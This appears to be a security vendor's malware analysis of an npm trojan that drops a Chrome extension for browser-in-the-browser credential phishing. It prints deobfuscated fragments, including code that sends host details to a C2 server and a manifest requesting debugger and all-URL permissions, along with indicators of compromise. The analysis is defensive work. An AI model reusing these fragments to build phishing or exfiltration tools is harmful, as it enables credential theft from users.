Malware Analysis: nolimit-agent, a Browser-in-the-Browser Phishing Toolkit

The nolimit-agent package on npm is a commercial malware toolkit marketed as a "red-team" tool, but designed for large-scale phishing, spam, and credential theft. While it contains a broad suite of malicious features, its most notable capability is a sophisticated Browser-in-the-Browser (BITB) attack, facilitated by a malicious Chrome extension dropped onto the user's machine.

This package represents a significant threat due to its multi-faceted approach. It combines reconnaissance, credential theft through OAuth2 abuse, and an advanced phishing technique that is difficult for end-users to detect. The presence of a licensing and activation system indicates this is likely a Malware-as-a-Service (MaaS) offering.

Package Delivery

The malware is delivered as a trojan package named nolimit-agent on the npm registry. Developers who install this package, likely believing it to be a penetration testing or marketing tool, are instead compromising their machine and accounts.

Entry Point and Trigger

The malicious logic is contained in obfuscated JavaScript files within the package's .ad/ directory. The primary script, .ad/x0.js, acts as a command-line interface (CLI) that triggers different malicious functions based on user-provided commands like web, auth, or activate.

Obfuscation

Core functionalities of the toolkit are heavily obfuscated to hinder analysis. For example, the code responsible for building the malicious Chrome extension in .ad/web-command.js uses string array lookups and hexadecimal encoding to hide its true purpose.

C2 Address Construction

The command-and-control (C2) server address is hardcoded in the obfuscated source. Deobfuscation of the file .ad/x4.js reveals the domain api.nolimitent.xyz, which the malware contacts for license activation.

Exfiltration

Upon running the activate command with a purchased license key, the tool exfiltrates system information to the C2 server. This data includes a generated hardware ID (HWID), the user's hostname, and the operating system platform, tying the license to a specific machine.

// from .ad/x0.js (deobfuscated)
const _0x240a19 = await _0x423ab4(_0x125807 + _0x120cf6(994, "k@Pn"), { // URL: '.../activate'
  method: _0x120cf6(1079, "U1kT"), // 'POST'
  body: JSON[_0x120cf6(1247, "OZy[")]({
    key: _0x4d126a,
    hwid: _0xd2a4b5,
    hostname: _0x3c8c49.hostname,
    platform: _0x3c8c49[_0x120cf6(1148, "ttvP")]
  }),

Payload Drop and Persistence

The package's most dangerous feature is its Browser-in-the-Browser (BITB) attack, executed via the web command. This command drops a malicious Chrome extension into the user's home directory at ~/.nolimit-extension and instructs the user to manually load it in their browser.

// from .ad/web-command.js (deobfuscated)
function buildExtension() {
  const _0xbeec30 = _0x29f147;
  if (!fs[_0xbeec30(506, "!^5&")](EXT_DIR)) {
    fs[_0xbeec30(378, "SA^^")](EXT_DIR, {
      recursive: true
    });
  }
  fs[_0xbeec30(372, "&2r7")](path.join(EXT_DIR, _0xbeec30(461, "g*oV")), JSON[_0xbeec30(418, "kBCh")](({
    manifest_version: 3,
    name: _0xbeec30(550, "h%e9"), // 'Nolimit Web'
    version: _0xbeec30(536, ")OQO"), // '1.0'
    permissions: [_0xbeec30(441, "zdP["), _0xbeec30(453, "uEUL"), _0xbeec30(347, "r[*4")], // 'scripting', 'activeTab', 'debugger'
    host_permissions: [_0xbeec30(449, "y]Bf")], // '<all_urls>'
    background: {
      service_worker: _0xbeec30(408, "2F&K") // 'background.js'
    },

Once installed, the extension connects to a local WebSocket server started by nolimit-agent. When the user navigates to a target site like a webmail portal, the malware injects a phishing panel directly into the trusted webpage, tricking the user into surrendering credentials or session tokens.

Infection Vector Assessment

This package is a trojan. It masquerades as a useful tool while containing undisclosed, malicious functionality that executes upon user interaction. The social engineering component relies on the user installing the package and then following instructions to load the malicious browser extension, completing the infection chain.

Remediation

# Remove the malicious package
npm uninstall nolimit-agent

# Remove artifacts created by the tool
rm -rf ~/.nolimit-extension
rm -rf ~/.nolimit/activation.json

cyrokai flags and blocks trojan packages like nolimit-agent at install time, preventing its multi-stage attack chain—from credential theft to browser-in-the-browser phishing—before it can execute.

Takeaways

• Commercial Malware on npm: This package is a commercially sold, feature-rich malware toolkit, indicating a mature Malware-as-a-Service (MaaS) operation.
• Advanced Phishing Techniques: The use of a Browser-in-the-Browser (BITB) attack via a self-installed browser extension is a sophisticated technique that bypasses many traditional security measures and is highly convincing to victims.
• Multi-Purpose Threat: nolimit-agent is not a simple stealer; it is a comprehensive platform for spam, phishing, and reconnaissance, capable of abusing OAuth2 for legitimate email providers.
• Social Engineering is Key: The attack relies on a developer not only installing the package but also following instructions to manually load the malicious Chrome extension, highlighting the importance of vetting all development tools.

Indicators of Compromise

Packages

• nolimit-agent

Network

• api.nolimitent[.]xyz

Files/host artifacts

• ~/.nolimit-extension/
• ~/.nolimit/activation.json